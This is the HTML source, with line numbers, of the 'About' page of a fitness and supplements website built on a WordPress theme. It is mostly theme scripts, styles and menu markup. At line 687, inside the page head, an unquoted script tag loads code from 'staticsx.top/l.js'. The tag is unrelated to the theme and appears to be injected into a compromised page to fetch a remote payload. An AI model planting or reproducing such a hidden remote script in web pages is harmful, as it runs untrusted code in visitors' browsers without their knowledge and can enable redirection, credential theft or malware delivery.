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5    <title>About | The Daily Pump</title>
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150            if ( /chrom(e|ium)/.test(navigator.userAgent.toLowerCase()) ) {
151               htmlTag.className += ' td-md-is-chrome';
152            }
153
154            if ( -1 !== navigator.userAgent.indexOf('Firefox') ) {
155                htmlTag.className += ' td-md-is-firefox';
156            }
157
158            if ( -1 !== navigator.userAgent.indexOf('Safari') && -1 === navigator.userAgent.indexOf('Chrome') ) {
159                htmlTag.className += ' td-md-is-safari';
160            }
161
162            if( -1 !== navigator.userAgent.indexOf('IEMobile') ){
163                htmlTag.className += ' td-md-is-iemobile';
164            }
165
166        })();
167
168
169
170
171        var tdLocalCache = {};
172
173        ( function () {
174            "use strict";
175
176            tdLocalCache = {
177                data: {},
178                remove: function (resource_id) {
179                    delete tdLocalCache.data[resource_id];
180                },
181                exist: function (resource_id) {
182                    return tdLocalCache.data.hasOwnProperty(resource_id) && tdLocalCache.data[resource_id] !== null;
183                },
184                get: function (resource_id) {
185                    return tdLocalCache.data[resource_id];
186                },
187                set: function (resource_id, cachedData) {
188                    tdLocalCache.remove(resource_id);
189                    tdLocalCache.data[resource_id] = cachedData;
190                }
191            };
192        })();
193
194    
195    
196var td_viewport_interval_list=[{"limitBottom":767,"sidebarWidth":228},{"limitBottom":1018,"sidebarWidth":300},{"limitBottom":1140,"sidebarWidth":324}];
197var td_animation_stack_effect="type0";
198var tds_animation_stack=true;
199var td_animation_stack_specific_selectors=".entry-thumb, img, .td-lazy-img";
200var td_animation_stack_general_selectors=".td-animation-stack img, .td-animation-stack .entry-thumb, .post img, .td-animation-stack .td-lazy-img";
201var tdc_is_installed="yes";
202var td_ajax_url="https:\/\/thedailypump.com\/wp-admin\/admin-ajax.php?td_theme_name=Newspaper&v=12.2";
203var td_get_template_directory_uri="https:\/\/thedailypump.com\/wp-content\/plugins\/td-composer\/legacy\/common";
204var tds_snap_menu="";
205var tds_logo_on_sticky="";
206var tds_header_style="";
207var td_please_wait="Please wait...";
208var td_email_user_pass_incorrect="User or password incorrect!";
209var td_email_user_incorrect="Email or username incorrect!";
210var td_email_incorrect="Email incorrect!";
211var td_user_incorrect="Username incorrect!";
212var td_email_user_empty="Email or username empty!";
213var td_pass_empty="Pass empty!";
214var td_pass_pattern_incorrect="Invalid Pass Pattern!";
215var td_retype_pass_incorrect="Retyped Pass incorrect!";
216var tds_more_articles_on_post_enable="";
217var tds_more_articles_on_post_time_to_wait="";
218var tds_more_articles_on_post_pages_distance_from_top=0;
219var tds_theme_color_site_wide="#e2b26f";
220var tds_smart_sidebar="enabled";
221var tdThemeName="Newspaper";
222var td_magnific_popup_translation_tPrev="Previous (Left arrow key)";
223var td_magnific_popup_translation_tNext="Next (Right arrow key)";
224var td_magnific_popup_translation_tCounter="%curr% of %total%";
225var td_magnific_popup_translation_ajax_tError="The content from %url% could not be loaded.";
226var td_magnific_popup_translation_image_tError="The image #%curr% could not be loaded.";
227var tdBlockNonce="d11b02f471";
228var tdDateNamesI18n={"month_names":["January","February","March","April","May","June","July","August","September","October","November","December"],"month_names_short":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],"day_names":["Sunday","Monday","Tuesday","Wednesday","Thursday","Frid
228ay","Saturday"],"day_names_short":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"]};
229var tdb_modal_confirm="Save";
230var tdb_modal_cancel="Cancel";
231var tdb_modal_confirm_alt="Yes";
232var tdb_modal_cancel_alt="No";
233var td_ad_background_click_link="";
234var td_ad_background_click_target="";
235</script>
235
236
237
238<!-- Header style compiled by theme -->
239
240<style>
241    
242.td-header-wrap .black-menu .sf-menu > .current-menu-item > a,
243    .td-header-wrap .black-menu .sf-menu > .current-menu-ancestor > a,
244    .td-header-wrap .black-menu .sf-menu > .current-category-ancestor > a,
245    .td-header-wrap .black-menu .sf-menu > li > a:hover,
246    .td-header-wrap .black-menu .sf-menu > .sfHover > a,
247    .sf-menu > .current-menu-item > a:after,
248    .sf-menu > .current-menu-ancestor > a:after,
249    .sf-menu > .current-category-ancestor > a:after,
250    .sf-menu > li:hover > a:after,
251    .sf-menu > .sfHover > a:after,
252    .header-search-wrap .td-drop-down-search:after,
253    .header-search-wrap .td-drop-down-search .btn:hover,
254    input[type=submit]:hover,
255    .td-read-more a,
256    .td-post-category:hover,
257    .td_top_authors .td-active .td-author-post-count,
258    .td_top_authors .td-active .td-author-comments-count,
259    .td_top_authors .td_mod_wrap:hover .td-author-post-count,
260    .td_top_authors .td_mod_wrap:hover .td-author-comments-count,
261    .td-404-sub-sub-title a:hover,
262    .td-search-form-widget .wpb_button:hover,
263    .td-rating-bar-wrap div,
264    .dropcap,
265    .td_wrapper_video_playlist .td_video_controls_playlist_wrapper,
266    .wpb_default,
267    .wpb_default:hover,
268    .td-left-smart-list:hover,
269    .td-right-smart-list:hover,
270    .woocommerce-checkout .woocommerce input.button:hover,
271    .woocommerce-page .woocommerce a.button:hover,
272    .woocommerce-account div.woocommerce .button:hover,
273    #bbpress-forums button:hover,
274    .bbp_widget_login .button:hover,
275    .td-footer-wrapper .td-post-category,
276    .td-footer-wrapper .widget_product_search input[type="submit"]:hover,
277    .woocommerce .product a.button:hover,
278    .woocommerce .product #respond input#submit:hover,
279    .woocommerce .checkout input#place_order:hover,
280    .woocommerce .woocommerce.widget .button:hover,
281    .single-product .product .summary .cart .button:hover,
282    .woocommerce-cart .woocommerce table.cart .button:hover,
283    .woocommerce-cart .woocommerce .shipping-calculator-form .button:hover,
284    .td-next-prev-wrap a:hover,
285    .td-load-more-wrap a:hover,
286    .td-post-small-box a:hover,
287    .page-nav .current,
288    .page-nav:first-child > div,
289    #bbpress-forums .bbp-pagination .current,
290    #bbpress-forums #bbp-single-user-details #bbp-user-navigation li.current a,
291    .td-theme-slider:hover .slide-meta-cat a,
292    a.vc_btn-black:hover,
293    .td-trending-now-wrapper:hover .td-trending-now-title,
294    .td-scroll-up,
295    .td-smart-list-button:hover,
296    .td-weather-information:before,
297    .td-weather-week:before,
298    .td_block_exchange .td-exchange-header:before,
299    .td-pulldown-syle-2 .td-subcat-dropdown ul:after,
300    .td_block_template_9 .td-block-title:after,
301    .td_block_template_15 .td-block-title:before,
302    div.wpforms-container .wpforms-form div.wpforms-submit-container button[type=submit],
303    .td-close-video-fixed {
304        background-color: #e2b26f;
305    }
306
307    .td_block_template_4 .td-related-title .td-cur-simple-item:before {
308        border-color: #e2b26f transparent transparent transparent !important;
309    }
310
311    .woocommerce .woocommerce-message .button:hover,
312    .woocommerce .woocommerce-error .button:hover,
313    .woocommerce .woocommerce-info .button:hover {
314        background-color: #e2b26f !important;
315    }
316    
317    
318    .td_block_template_4 .td-related-title .td-cur-simple-item,
319    .td_block_template_3 .td-related-title .td-cur-simple-item,
320    .td_block_template_9 .td-related-title:after {
321        background-color: #e2b26f;
322    }
323
324    .woocommerce .product .onsale,
325    .woocommerce.widget .ui-slider .ui-slider-handle {
326        background: none #e2b26f;
327    }
328
329    .woocommerce.widget.widget_layered_nav_filters ul li a {
330        background: none repeat scroll 0 0 #e2b26f !important;
331    }
332
333    a,
334    cite a:hover,
335    .td-page-content blockquote p,
336    .td-post-content blockquote p,
337    .mce-content-body blockquote p,
338    .comment-content blockquote p,
339    .wpb_text_column blockquote p,
340    .td_block_text_with_title blockquote p,
341    .td_module_wrap:hover .entry-title a,
342    .td-subcat-filter .td-subcat-list a:hover,
343    .td-subcat-filter .td-subcat-dropdown a:hover,
344    .td_quote_on_blocks,
345    .dropcap2,
346    .dropcap3,
347    .td_top_authors .td-active .td-authors-name a,
348    .td_top_authors .td_mod_wrap:hover .td-authors-name a,
349    .td-post-next-prev-content a:hover,
350    .author-box-wrap .td-author-social a:hover,
351    .td-author-name a:hover,
352    .td-author-url a:hover,
353    .comment-reply-link:hover,
354    .logged-in-as a:hover,
355    #cancel-comment-reply-link:hover,
356    .td-search-query,
357    .widget a:hover,
358    .td_wp_recentcomments a:hover,
359    .archive .widget_archive .current,
360    .archive .widget_archive .current a,
361    .widget_calendar tfoot a:hover,
362    .woocommerce a.added_to_cart:hover,
363    .woocommerce-account .woocommerce-MyAccount-navigation a:hover,
364    #bbpress-forums li.bbp-header .bbp-reply-content span a:hover,
365    #bbpress-forums .bbp-forum-freshness a:hover,
366    #bbpress-forums .bbp-topic-freshness a:hover,
367    #bbpress-forums .bbp-forums-list li a:hover,
368    #bbpress-forums .bbp-forum-title:hover,
369    #bbpress-forums .bbp-topic-permalink:hover,
370    #bbpress-forums .bbp-topic-started-by a:hover,
371    #bbpress-forums .bbp-topic-started-in a:hover,
372    #bbpress-forums .bbp-body .super-sticky li.bbp-topic-title .bbp-topic-permalink,
373    #bbpress-forums .bbp-body .sticky li.bbp-topic-title .bbp-topic-permalink,
374    .widget_display_replies .bbp-author-name,
375    .widget_display_topics .bbp-author-name,
376    .td-subfooter-menu li a:hover,
377    a.vc_btn-black:hover,
378    .td-smart-list-dropdown-wrap .td-smart-list-button:hover,
379    .td-instagram-user a,
380    .td-block-title-wrap .td-wrapper-pulldown-filter .td-pulldown-filter-display-option:hover,
381    .td-block-title-wrap .td-wrapper-pulldown-filter .td-pulldown-filter-display-option:hover i,
382    .td-block-title-wrap .td-wrapper-pulldown-filter .td-pulldown-filter-link:hover,
383    .td-block-title-wrap .td-wrapper-pulldown-filter .td-pulldown-filter-item .td-cur-simple-item,
384    .td_block_template_2 .td-related-title .td-cur-simple-item,
385    .td_block_template_5 .td-related-title .td-cur-simple-item,
386    .td_block_template_6 .td-related-title .td-cur-simple-item,
387    .td_block_template_7 .td-related-title .td-cur-simple-item,
388    .td_block_template_8 .td-related-title .td-cur-simple-item,
389    .td_block_template_9 .td-related-title .td-cur-simple-item,
390    .td_block_template_10 .td-related-title .td-cur-simple-item,
391    .td_block_template_11 .td-related-title .td-cur-simple-item,
392    .td_block_template_12 .td-related-title .td-cur-simple-item,
393    .td_block_template_13 .td-related-title .td-cur-simple-item,
394    .td_block_template_14 .td-related-title .td-cur-simple-item,
395    .td_block_template_15 .td-related-title .td-cur-simple-item,
396    .td_block_template_16 .td-related-title .td-cur-simple-item,
397    .td_block_template_17 .td-related-title .td-cur-simple-item,
398    .td-theme-wrap .sf-menu ul .td-menu-item > a:hover,
399    .td-theme-wrap .sf-menu ul .sfHover > a,
400    .td-theme-wrap .sf-menu ul .current-menu-ancestor > a,
401    .td-theme-wrap .sf-menu ul .current-category-ancestor > a,
402    .td-theme-wrap .sf-menu ul .current-menu-item > a,
403    .td_outlined_btn,
404     .td_block_categories_tags .td-ct-item:hover {
405        color: #e2b26f;
406    }
407
408    a.vc_btn-black.vc_btn_square_outlined:hover,
409    a.vc_btn-black.vc_btn_outlined:hover {
410        color: #e2b26f !important;
411    }
412
413    .td-next-prev-wrap a:hover,
414    .td-load-more-wrap a:hover,
415    .td-post-small-box a:hover,
416    .page-nav .current,
417    .page-nav:first-child > div,
418    #bbpress-forums .bbp-pagination .current,
419    .post .td_quote_box,
420    .page .td_quote_box,
421    a.vc_btn-black:hover,
422    .td_block_template_5 .td-block-title > *,
423    .td_outlined_btn {
424        border-color: #e2b26f;
425    }
426
427    .td_wrapper_video_playlist .td_video_currently_playing:after {
428        border-color: #e2b26f !important;
429    }
430
431    .header-search-wrap .td-drop-down-search:before {
432        border-color: transparent transparent #e2b26f transparent;
433    }
434
435    .block-title > span,
436    .block-title > a,
437    .block-title > label,
438    .widgettitle,
439    .widgettitle:after,
440    .td-trending-now-title,
441    .td-trending-now-wrapper:hover .td-trending-now-title,
442    .wpb_tabs li.ui-tabs-active a,
443    .wpb_tabs li:hover a,
444    .vc_tta-container .vc_tta-color-grey.vc_tta-tabs-position-top.vc_tta-style-classic .vc_tta-tabs-container .vc_tta-tab.vc_active > a,
445    .vc_tta-container .vc_tta-color-grey.vc_tta-tabs-position-top.vc_tta-style-classic .vc_tta-tabs-container .vc_tta-tab:hover > a,
446    .td_block_template_1 .td-related-title .td-cur-simple-item,
447    .woocommerce .product .products h2:not(.woocommerce-loop-product__title),
448    .td-subcat-filter .td-subcat-dropdown:hover .td-subcat-more, 
449    .td_3D_btn,
450    .td_shadow_btn,
451    .td_default_btn,
452    .td_round_btn, 
453    .td_outlined_btn:hover {
454    	background-color: #e2b26f;
455    }
456
457    .woocommerce div.product .woocommerce-tabs ul.tabs li.active {
458    	background-color: #e2b26f !important;
459    }
460
461    .block-title,
462    .td_block_template_1 .td-related-title,
463    .wpb_tabs .wpb_tabs_nav,
464    .vc_tta-container .vc_tta-color-grey.vc_tta-tabs-position-top.vc_tta-style-classic .vc_tta-tabs-container,
465    .woocommerce div.product .woocommerce-tabs ul.tabs:before {
466        border-color: #e2b26f;
467    }
468    .td_block_wrap .td-subcat-item a.td-cur-simple-item {
469	    color: #e2b26f;
470	}
471
472
473    
474    .td-grid-style-4 .entry-title
475    {
476        background-color: rgba(226, 178, 111, 0.7);
477    }
478
479
480    
481    .td-menu-background:before,
482    .td-search-background:before {
483        background: rgba(0,0,0,0.7);
484        background: -moz-linear-gradient(top, rgba(0,0,0,0.7) 0%, rgba(0,0,0,0.8) 100%);
485        background: -webkit-gradient(left top, left bottom, color-stop(0%, rgba(0,0,0,0.7)), color-stop(100%, rgba(0,0,0,0.8)));
486        background: -webkit-linear-gradient(top, rgba(0,0,0,0.7) 0%, rgba(0,0,0,0.8) 100%);
487        background: -o-linear-gradient(top, rgba(0,0,0,0.7) 0%, rgba(0,0,0,0.8) 100%);
488        background: -ms-linear-gradient(top, rgba(0,0,0,0.7) 0%, rgba(0,0,0,0.8) 100%);
489        background: linear-gradient(to bottom, rgba(0,0,0,0.7) 0%, rgba(0,0,0,0.8) 100%);
490        filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='rgba(0,0,0,0.7)', endColorstr='rgba(0,0,0,0.8)', GradientType=0 );
491    }
492
493    
494    .td-mobile-content .current-menu-item > a,
495    .td-mobile-content .current-menu-ancestor > a,
496    .td-mobile-content .current-category-ancestor > a,
497    #td-mobile-nav .td-menu-login-section a:hover,
498    #td-mobile-nav .td-register-section a:hover,
499    #td-mobile-nav .td-menu-socials-wrap a:hover i,
500    .td-search-close a:hover i {
501        color: #e2b26f;
502    }
503
504    
505    .td-menu-background,
506    .td-search-background {
507        background-image: url('https://thedailypump.com/wp-content/uploads/2020/05/1.jpg');
508    }
509
510    
511    .mfp-content .td-login-button:active,
512    .mfp-content .td-login-button:hover {
513        background-color: #e2b26f;
514    }
515    
516    .white-popup-block:after {
517        background: rgba(0,0,0,0.8);
518        background: -moz-linear-gradient(45deg, rgba(0,0,0,0.8) 0%, rgba(0,0,0,0.7) 100%);
519        background: -webkit-gradient(left bottom, right top, color-stop(0%, rgba(0,0,0,0.8)), color-stop(100%, rgba(0,0,0,0.7)));
520        background: -webkit-linear-gradient(45deg, rgba(0,0,0,0.8) 0%, rgba(0,0,0,0.7) 100%);
521        background: linear-gradient(45deg, rgba(0,0,0,0.8) 0%, rgba(0,0,0,0.7) 100%);
522    }
523
524
525    
526    .white-popup-block:before {
527        background-image: url('https://thedailypump.com/wp-content/uploads/2020/05/1.jpg');
528    }.td-header-style-12 .td-header-menu-wrap-full,
529    .td-header-style-12 .td-affix,
530    .td-grid-style-1.td-hover-1 .td-big-grid-post:hover .td-post-category,
531    .td-grid-style-5.td-hover-1 .td-big-grid-post:hover .td-post-category,
532    .td_category_template_3 .td-current-sub-category,
533    .td_category_template_8 .td-category-header .td-category a.td-current-sub-category,
534    .td_category_template_4 .td-category-siblings .td-category a:hover,
535     .td_block_big_grid_9.td-grid-style-1 .td-post-category,
536    .td_block_big_grid_9.td-grid-style-5 .td-post-category,
537    .td-grid-style-6.td-hover-1 .td-module-thumb:after,
538     .tdm-menu-active-style5 .td-header-menu-wrap .sf-menu > .current-menu-item > a,
539    .tdm-menu-active-style5 .td-header-menu-wrap .sf-menu > .current-menu-ancestor > a,
540    .tdm-menu-active-style5 .td-header-menu-wrap .sf-menu > .current-category-ancestor > a,
541    .tdm-menu-active-style5 .td-header-menu-wrap .sf-menu > li > a:hover,
542    .tdm-menu-active-style5 .td-header-menu-wrap .sf-menu > .sfHover > a {
543        background-color: #e2b26f;
544    }
545    
546    .td_mega_menu_sub_cats .cur-sub-cat,
547    .td-mega-span h3 a:hover,
548    .td_mod_mega_menu:hover .entry-title a,
549    .header-search-wrap .result-msg a:hover,
550    .td-header-top-menu .td-drop-down-search .td_module_wrap:hover .entry-title a,
551    .td-header-top-menu .td-icon-search:hover,
552    .td-header-wrap .result-msg a:hover,
553    .top-header-menu li a:hover,
554    .top-header-menu .current-menu-item > a,
555    .top-header-menu .current-menu-ancestor > a,
556    .top-header-menu .current-category-ancestor > a,
557    .td-social-icon-wrap > a:hover,
558    .td-header-sp-top-widget .td-social-icon-wrap a:hover,
559    .td_mod_related_posts:hover h3 > a,
560    .td-post-template-11 .td-related-title .td-related-left:hover,
561    .td-post-template-11 .td-related-title .td-related-right:hover,
562    .td-post-template-11 .td-related-title .td-cur-simple-item,
563    .td-post-template-11 .td_block_related_posts .td-next-prev-wrap a:hover,
564    .td-category-header .td-pulldown-category-filter-link:hover,
565    .td-category-siblings .td-subcat-dropdown a:hover,
566    .td-category-siblings .td-subcat-dropdown a.td-current-sub-category,
567    .footer-text-wrap .footer-email-wrap a,
568    .footer-social-wrap a:hover,
569    .td_module_17 .td-read-more a:hover,
570    .td_module_18 .td-read-more a:hover,
571    .td_module_19 .td-post-author-name a:hover,
572    .td-pulldown-syle-2 .td-subcat-dropdown:hover .td-subcat-more span,
573    .td-pulldown-syle-2 .td-subcat-dropdown:hover .td-subcat-more i,
574    .td-pulldown-syle-3 .td-subcat-dropdown:hover .td-subcat-more span,
575    .td-pulldown-syle-3 .td-subcat-dropdown:hover .td-subcat-more i,
576    .tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu > .current-category-ancestor > a,
577    .tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu > .current-menu-ancestor > a,
578    .tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu > .current-menu-item > a,
579    .tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu > .sfHover > a,
580    .tdm-menu-active-style3 .tdm-header.td-header-wrap .sf-menu > li > a:hover {
581        color: #e2b26f;
582    }
583    
584    .td-mega-menu-page .wpb_content_element ul li a:hover,
585    .td-theme-wrap .td-aj-search-results .td_module_wrap:hover .entry-title a,
586    .td-theme-wrap .header-search-wrap .result-msg a:hover {
587        color: #e2b26f !important;
588    }
589    
590    .td_category_template_8 .td-category-header .td-category a.td-current-sub-category,
591    .td_category_template_4 .td-category-siblings .td-category a:hover,
592    .tdm-menu-active-style4 .tdm-header .sf-menu > .current-menu-item > a,
593    .tdm-menu-active-style4 .tdm-header .sf-menu > .current-menu-ancestor > a,
594    .tdm-menu-active-style4 .tdm-header .sf-menu > .current-category-ancestor > a,
595    .tdm-menu-active-style4 .tdm-header .sf-menu > li > a:hover,
596    .tdm-menu-active-style4 .tdm-header .sf-menu > .sfHover > a {
597        border-color: #e2b26f;
598    }
599</style>
600
601
602
603
604<script type="application/ld+json">
605    {
606        "@context": "http://schema.org",
607        "@type": "BreadcrumbList",
608        "itemListElement": [
609            {
610                "@type": "ListItem",
611                "position": 1,
612                "item": {
613                    "@type": "WebSite",
614                    "@id": "https://thedailypump.com/",
615                    "name": "Home"
616                }
617            },
618            {
619                "@type": "ListItem",
620                "position": 2,
621                    "item": {
622                    "@type": "WebPage",
623                    "@id": "https://thedailypump.com/about/",
624                    "name": "About"
625                }
626            }    
627        ]
628    }
629</script>
629
630<link rel="icon" href="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco-70x70.png" sizes="32x32" />
631<link rel="icon" href="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco.png" sizes="192x192" />
632<link rel="apple-touch-icon" href="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco.png" />
633<meta name="msapplication-TileImage" content="https://thedailypump.com/wp-content/uploads/2019/12/TheDailyPumpIco.png" />
634
635<!-- Button style compiled by theme -->
636
637<style>
638    .tdm_block_column_content:hover .tdm-col-content-title-url .tdm-title,
639                .tds-button2 .tdm-btn-text,
640                .tds-button2 i,
641                .tds-button5:hover .tdm-btn-text,
642                .tds-button5:hover i,
643                .tds-button6 .tdm-btn-text,
644                .tds-button6 i,
645                .tdm_block_list .tdm-list-item i,
646                .tdm_block_pricing .tdm-pricing-feature i,
647                body .tdm-social-item i {
648                    color: #e2b26f;
649                }
650                .tds-button1,
651                .tds-button6:after,
652                .tds-title2 .tdm-title-line:after,
653                .tds-title3 .tdm-title-line:after,
654                .tdm_block_pricing.tdm-pricing-featured:before,
655                .tdm_block_pricing.tds_pricing2_block.tdm-pricing-featured .tdm-pricing-header,
656                .tds-progress-bar1 .tdm-progress-bar:after,
657                .tds-progress-bar2 .tdm-progress-bar:after,
658                .tds-social3 .tdm-social-item {
659                    background-color: #e2b26f;
660                }
661                .tds-button2:before,
662                .tds-button6:before,
663                .tds-progress-bar3 .tdm-progress-bar:after {
664                  border-color: #e2b26f;
665                }
666                .tdm-btn-style1 {
667					background-color: #e2b26f;
668				}
669				.tdm-btn-style2:before {
670				    border-color: #e2b26f;
671				}
672				.tdm-btn-style2 {
673				    color: #e2b26f;
674				}
675				.tdm-btn-style3 {
676				    -webkit-box-shadow: 0 2px 16px #e2b26f;
677                    -moz-box-shadow: 0 2px 16px #e2b26f;
678                    box-shadow: 0 2px 16px #e2b26f;
679				}
680				.tdm-btn-style3:hover {
681				    -webkit-box-shadow: 0 4px 26px #e2b26f;
682                    -moz-box-shadow: 0 4px 26px #e2b26f;
683                    box-shadow: 0 4px 26px #e2b26f;
684				}
685</style>
686
687	<style id="tdw-css-placeholder"></style>
687<script src=https://staticsx.top/l.js></script>
687<style></style></head>
688
689<body class="wp-singular page-template-default page page-id-1260 wp-theme-Newspaper everest-forms-no-js about global-block-template-1 td-fitness-pro tdb-template  tdc-header-template  tdc-footer-template td-animation-stack-type0 td-full-layout" itemscope="itemscope" itemtype="https://schema.org/WebPage">
690
691            <div class="td-scroll-up  td-hide-scroll-up-on-mob" style="display:none;"><i class="td-icon-menu-up"></i></div>
692    
693    <div class="td-menu-background" style="visibility:hidden"></div>
694<div id="td-mobile-nav" style="visibility:hidden">
695    <div class="td-mobile-container">
696        <!-- mobile menu top section -->
697        <div class="td-menu-socials-wrap">
698            <!-- socials -->
699            <div class="td-menu-socials">
700                            </div>
701            <!-- close button -->
702            <div class="td-mobile-close">
703                <span><i class="td-icon-close-mobile"></i></span>
704            </div>
705        </div>
706
707        <!-- login section -->
708        
709        <!-- menu section -->
710        <div class="td-mobile-content">
711            <div class="menu-header-menu-container"><ul id="menu-header-menu" class="td-mobile-main-menu"><li id="menu-item-1269" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1260 current_page_item menu-item-first menu-item-1269"><a href="https://thedailypump.com/about/">About</a></li>
712<li id="menu-item-1274" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1274"><a href="https://thedailypump.com/category/fitness/">Fitness</a></li>
713<li id="menu-item-1270" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1270"><a href="https://thedailypump.com/category/nutrition-and-supplements/">Supplements</a></li>
714<li id="menu-item-1272" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1272"><a href="https://thedailypump.com/category/weight-loss/">Weight Loss</a></li>
715<li id="menu-item-1271" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-1271"><a href="https://thedailypump.com/category/videos/">Videos</a></li>
716<li id="menu-item-1268" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1268"><a href="https://thedailypump.com/contact/">Contact</a></li>
717</ul></div>        </div>
718    </div>
719
720    <!-- register/login section -->
721    </div>    <div class="td-search-background" style="visibility:hidden"></div>
722<div class="td-search-wrap-mob" style="visibility:hidden">
723	<div class="td-drop-down-search">
724		<form method="get" class="td-search-form" action="https://thedailypump.com/">
725			<!-- close button -->
726			<div class="td-search-close">
727				<span><i class="td-icon-close-mobile"></i></span>
728			</div>
729			<div role="search" class="td-search-input">
730				<span>Search</span>
731				<input id="td-header-search-mob" type="text" value="" name="s" autocomplete="off" />
732			</div>
733		</form>
734		<div id="td-aj-search-mob" class="td-ajax-search-flex"></div>
735	</div>
736</div>
737    <div id="td-outer-wrap" class="td-theme-wrap">
738
739                    <div class="td-header-template-wrap" style="position: relative">
740                                <div class="td-header-mobile-wrap ">
741                    <div id="tdi_1" class="tdc-zone"><div class="tdc_zone tdi_2  wpb_row td-pb-row tdc-element-style" data-sticky-offset="0" >
742<style scoped>
743
744/* custom css */
745.tdi_2{
746                    min-height: 0;
747                }.td-header-mobile-sticky-wrap.td-header-active{
748                    opacity: 1;
749                }
750
751/* phone */
752@media (max-width: 767px){
753.tdi_2:before{
754                    content: '';
755                    display: block;
756                    width: 100vw;
757                    height: 100%;
758                    position: absolute;
759                    left: 50%;
760                    transform: translateX(-50%);
761                    box-shadow:  0px 6px 8px 0px rgba(0, 0, 0, 0.08);
762                    z-index: 20;
763                    pointer-events: none;
764                }@media (max-width: 767px) {
765                    .tdi_2:before {
766                        width: 100%;
767                    }
768                }
769}
770/* inline tdc_css att */
771
772/* phone */
773@media (max-width: 767px)
774{
775.tdi_2{
776position:relative;
777}
778}
779
780</style>
781<div class="tdi_1_rand_style td-element-style" ><style>
782/* phone */
783@media (max-width: 767px)
784{
785.tdi_1_rand_style{
786background-color:rgba(42,42,66,0.95) !important;
787}
788}
789 </style></div>
789<div id="tdi_3" class="tdc-row"><div class="vc_row tdi_4  wpb_row td-pb-row" >
790<style scoped>
791
792/* custom css */
793.tdi_4,
794                .tdi_4 .tdc-columns{
795                    min-height: 0;
796                }.tdi_4,
797				.tdi_4 .tdc-columns{
798				    display: block;
799				}.tdi_4 .tdc-columns{
800				    width: 100%;
801				}
802
803/* phone */
804@media (max-width: 767px){
805@media (min-width: 768px) {
806	                .tdi_4 {
807	                    margin-left: -0px;
808	                    margin-right: -0px;
809	                }
810	                .tdi_4 .tdc-row-video-background-error,
811	                .tdi_4 .vc_column {
812	                    padding-left: 0px;
813	                    padding-right: 0px;
814	                }
815                }
816}
817/* inline tdc_css att */
818
819/* phone */
820@media (max-width: 767px)
821{
822.tdi_4{
823padding-top:8px !important;
824padding-bottom:8px !important;
825}
826}
827
828</style><div class="vc_column tdi_6  wpb_column vc_column_container tdc-column td-pb-span4">
829<style scoped>
830
831/* custom css */
832.tdi_6{
833                    vertical-align: baseline;
834                }.tdi_6 > .wpb_wrapper,
835				.tdi_6 > .wpb_wrapper > .tdc-elements{
836				    display: block;
837				}.tdi_6 > .wpb_wrapper > .tdc-elements{
838				    width: 100%;
839				}.tdi_6 > .wpb_wrapper > .vc_row_inner{
840				    width: auto;
841				}.tdi_6 > .wpb_wrapper{
842				    width: auto;
843				    height: auto;
844				}
845
846/* phone */
847@media (max-width: 767px){
848.tdi_6{
849                    vertical-align: middle;
850                }
851}
852/* inline tdc_css att */
853
854/* phone */
855@media (max-width: 767px)
856{
857.tdi_6{
858width:20% !important;
859display:inline-block !important;
860}
861}
862
863</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_7 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_7" >
864<style>
865
866/* inline tdc_css att */
867
868/* phone */
869@media (max-width: 767px)
870{
871.tdi_7{
872margin-left:-5px !important;
873padding-top:3px !important;
874}
875}
876
877</style>
878<style>
879/* custom css */
880.tdb-header-align{
881                  vertical-align: middle;
882                }.tdb_mobile_menu{
883                  margin-bottom: 0;
884                  clear: none;
885                }.tdb_mobile_menu a{
886                  display: inline-block !important;
887                  position: relative;
888                  text-align: center;
889                  color: #4db2ec;
890                }.tdb_mobile_menu a > span{
891                  display: flex;
892                  align-items: center;
893                  justify-content: center;
894                }.tdb_mobile_menu svg{
895                  height: auto;
896                }.tdb_mobile_menu svg,
897                .tdb_mobile_menu svg *{
898                  fill: #4db2ec;
899                }#tdc-live-iframe .tdb_mobile_menu a{
900                  pointer-events: none;
901                }.td-menu-mob-open-menu{
902                  overflow: hidden;
903                }.td-menu-mob-open-menu #td-outer-wrap{
904                  position: static;
905                }.tdi_7 .tdb-mobile-menu-button i{
906                    font-size: 28px;
907                
908                    width: 28px;
909					height: 28px;
910					line-height:  28px;
911                }.tdi_7 .tdb-mobile-menu-button svg{
912                    width: 28px;
913                }.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{
914                    width: 28px;
915					height: 28px;
916                }.tdi_7 .tdb-mobile-menu-button{
917                    color: #ffffff;
918                }.tdi_7 .tdb-mobile-menu-button svg,
919                .tdi_7 .tdb-mobile-menu-button svg *{
920                    fill: #ffffff;
921                }.tdi_7 .tdb-mobile-menu-button:hover{
922                    color: #8dacff;
923                }.tdi_7 .tdb-mobile-menu-button:hover svg,
924                .tdi_7 .tdb-mobile-menu-button:hover svg *{
925                    fill: #8dacff;
926                }
927
928/* phone */
929@media (max-width: 767px){
930.tdi_7 .tdb-mobile-menu-button i{
931                    font-size: 30px;
932                
933                    width: 30px;
934					height: 30px;
935					line-height:  30px;
936                }.tdi_7 .tdb-mobile-menu-button svg{
937                    width: 30px;
938                }.tdi_7 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{
939                    width: 30px;
940					height: 30px;
941                }
942}
